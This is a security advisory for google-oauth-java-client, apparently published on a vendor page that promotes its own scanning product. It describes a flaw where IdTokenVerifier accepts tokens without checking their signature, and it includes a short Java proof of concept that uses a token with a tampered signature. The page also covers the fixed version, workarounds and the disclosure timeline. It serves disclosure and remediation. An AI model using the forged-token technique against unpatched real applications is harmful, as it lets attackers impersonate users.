GHSA-hw42-3568-wj87
HIGHgoogle-oauth-java-client improperly verifies cryptographic signature
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
com.google.oauth-client:google-oauth-clientReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The vulnerability impacts only users of the IdTokenVerifier class. The verify method in IdTokenVerifier does not validate the signature before verifying the claims (e.g., iss, aud, etc.). Signature verification makes sure that the token's payload comes from valid provider, not from someone else.
An attacker can provide a compromised token with modified payload like email or phone number. The token will pass the validation by the library. Once verified, modified payload can be used by the application.
If the application sends verified IdToken to other service as is like for auth - the risk is low, because the backend of the service is expected to check the signature and fail the request.
Reporter: Tamjid al Rahat, contributor
Patches
The issue was fixed in the 1.33.3 version of the library
Proof of Concept
To reproduce, one needs to call the verify function with an IdToken instance that contains a malformed signature to successfully bypass the checks inside the verify function.
/** A default http transport factory for testing */
static class DefaultHttpTransportFactory implements HttpTransportFactory {
public HttpTransport create() {
return new NetHttpTransport();
}
}
// The below token has some modified bits in the signature
private static final String SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE =
"eyJhbGciOiJSUzI1NiIsImtpZCI6IjJlZjc3YjM4YTFiMDM3MDQ4NzA0MzkxNmFjYmYyN2Q3NG" +
"VkZDA4YjEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL2V4YW1wbGUuY29tL2F1ZGllbm" +
"NlIiwiZXhwIjoxNTg3NjMwNTQzLCJpYXQiOjE1ODc2MjY5NDMsImlzcyI6InNvbWUgaXNzdWVy" +
"Iiwic3ViIjoic29tZSBzdWJqZWN0In0.gGOQW0qQgs4jGUmCsgRV83RqsJLaEy89-ZOG6p1u0Y26" +
"FyY06b6Odgd7xXLsSTiiSnch62dl0Lfi9D0x2ByxvsGOCbovmBl2ZZ0zHr1wpc4N0XS9lMUq5RJ" +
"QbonDibxXG4nC2zroDfvD0h7i-L8KMXeJb9pYwW7LkmrM_YwYfJnWnZ4bpcsDjojmPeUBlACg7tjjOgBFby" +
"QZvUtaERJwSRlaWibvNjof7eCVfZChE0PwBpZc_cGqSqKXv544L4ttqdCnm0NjqrTATXwC4gYx" +
"ruevkjHfYI5ojcQmXoWDJJ0-_jzfyPE4MFFdCFgzLgnfIOwe5ve0MtquKuv2O0pgvg";
IdTokenVerifier tokenVerifier =
new IdTokenVerifier.Builder()
.setClock(clock)
.setCertificatesLocation("https://www.googleapis.com/robot/v1/metadata/x509/integration-tests%40chingor-test.iam.gserviceaccount.com")
.setHttpTransportFactory(new DefaultHttpTransportFactory())
.build();
// verification will return true despite modified signature for versions <1.33.3
tokenVerifier.verify(IdToken.parse(GsonFactory.getDefaultInstance(), SERVICE_ACCOUNT_RS256_TOKEN_BAD_SIGNATURE));
Remediation and Mitigation
Update to the version 1.33.3 or higher
If the library used indirectly or cannot be updated for any reason you can use similar IdToken verifiers provided by Google that already has signature verification. For example: google-auth-library-java google-api-java-client
Timeline
Date reported: 12 Dec 2021 Date fixed: 13 Apr 2022 Date disclosed: 2 May 2022
For more information
If you have any questions or comments about this advisory:
- Open an issue in the google-oauth-java-client repo
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | com.google.oauth-client:google-oauth-client | ≥ 1.16.0-rc&&< 1.33.3 | 1.33.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for com.google.oauth-client:google-oauth-client. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update com.google.oauth-client:google-oauth-client to 1.33.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-hw42-3568-wj87 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-hw42-3568-wj87 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-hw42-3568-wj87. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-hw42-3568-wj87 in your dependencies?
O3 detects GHSA-hw42-3568-wj87 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.